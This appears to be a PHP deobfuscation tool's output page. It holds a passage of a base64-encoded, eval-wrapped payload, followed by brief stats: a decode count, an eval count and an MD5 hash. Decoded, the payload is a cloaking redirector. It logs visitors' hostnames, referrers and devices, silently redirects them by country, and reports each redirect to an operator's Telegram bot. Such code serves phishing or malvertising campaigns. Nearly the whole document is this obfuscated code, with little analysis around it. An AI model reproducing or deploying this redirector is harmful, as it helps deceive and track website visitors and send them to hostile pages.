IgYSB2aW9sYXRpb25cbiI7CiAgICAgICAgJG1lc3NhZ2UgLj0gIlZpc2l0b3IgaGFzIGJlZW4gcHJldmVudGVkIGZyb20gdmlzaXRpbmc6IHskcmVkaXJlY3RVUkx9IjsKICAgICAgICAkZGVzdGluYXRpb24gPSAkcmVkaXJlY3RVUkw7CiAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgCiAgICB9IGVsc2UgewogICAgICAgIC8vIENvbmRpdGlvbmFsbHkgZXhlY3V0ZSBsb2FkUGFnZUNvbnRlbnQgYmFzZWQgb24gdGhlIHZhbHVlIG9mICRzbGVlcAogICAgICAgIGlmICgkc2xlZXApIHsKICAgICAgICAgICAgJHJlcGx5SUQgPSA2OwogICAgICAgICAgICAkYWN0aW9uID0gJ0ROVCc7CiAgICAgICAgICAgICRtZXNzYWdlIC49ICLwn5KkIENvZGUgaXMgYXNsZWVwIjsKICAgICAgICAgICAgJGRlc3RpbmF0aW9uID0gImNvZGUgaXMgYXNsZWVwIjsKICAgICAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJlZGlyZWN0VVJMID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJHJlZGlyZWN0VVJMIDogJHNlY29uZFJlZGlyZWN0VVJMOwogICAgICAgICAgICAkY291bnRyeSA9IGluX2FycmF5KCRjb3VudHJ5Q29kZSwgJGNvdW50cnlUb1JlZGlyZWN0KSA/ICRjb3VudHJ5VG9SZWRpcmVjdCA6ICRzZWNvbmRDb3VudHJ5VG9SZWRpcmVjdDsKICAgICAgICAgICAgCiAgICAgICAgICAgICRyZXBseUlEID0gNDsKICAgICAgICAgICAgJGFjdGlvbiA9ICdTRU5UJzsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gIuKchSBWaXNpdG9yIGZyb20geyRjb3VudHJ5fSBoYXMgYmVlbiByZWRpcmVjdGVkIHRvOiB7JHJlZGlyZWN0VVJMfSI7CiAgICAgICAgICAgIC8vIFNlbmQgbWVzc2FnZSB0byBUZWxlZ3JhbQogICAgICAgICAgICAkZGVzdGluYXRpb24gPSAkcmVkaXJlY3RVUkw7CiAgICAgICAgICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbSgkdGVsZWdyYW1Cb3RUb2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKTsKICAgICAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgICAgICAgICAvLyBDYWxsIHRoZSBmdW5jdGlvbiB0byBwZXJmb3JtIHRoZSBzaWxlbnQgcmVkaXJlY3QKICAgICAgICAgICAgcmVkaXJlY3RUb1VybCgkcmVkaXJlY3RVUkwpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gU2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtCiAgICBzZW5kTWVzc2FnZVRvVGVsZWdyYW0oJHRlbGVncmFtQm90VG9rZW4sICRjaGF0SUQsICRtZXNzYWdlLCAkcmVwbHlJRCk7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIHNlbmQgbWVzc2FnZSB0byBUZWxlZ3JhbSB3aXRoIHRoZSByaWdodCByZXBseSBJRAogICAgZnVuY3Rpb24gc2VuZE1lc3NhZ2VUb1RlbGVncmFtKCR0b2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKSB7CiAgICAgICAgJHRlbGVncmFtQXBpVXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7JHRva2VufS9zZW5kTWVzc2FnZSI7CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KAogICAgICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRJRCwKICAgICAgICAgICAgJ3RleHQnID0+ICRtZXNzYWdlLAogICAgICAgICAgICAncmVwbHlfdG9fbWVzc2FnZV9pZCcgPT4gJHJlcGx5SUQKICAgICAgICApOwogICAgICAgIAogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR0ZWxlZ3JhbUFwaVVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcGFyYW1zKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgIAogICAgICAgICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgIAogICAgICAgIGlmIChjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgZWNobyAnVGVsZWdyYW0gQVBJIGVycm9yOiAnIC4gY3VybF9lcnJvcigkY2gpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICB9CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIHBlcmZvcm0gYSBzaWxlbnQgcmVkaXJlY3QgdG8gdGhlIHNwZWNpZmllZCBVUkwKICAgIGZ1bmN0aW9uIHJlZGlyZWN0VG9VcmwoJHVybCkgewogICAgICAgIC8vIFNlbmQgYSByZWRpcmVjdCBoZWFkZXIgd2l0aG91dCBhbnkgbm90aWZpY2F0aW9uCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogJHVybCIpOwogICAgICAgIC8vIFRlcm1pbmF0ZSB0aGUgc2NyaXB0IGV4ZWN1dGlvbgogICAgICAgIGV4aXQoKTsKICAgIH0KICAgID8+')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 04a0b7f432bbec9c05c368a1c3e41e46
Eval Count 1
Decode Time 69 ms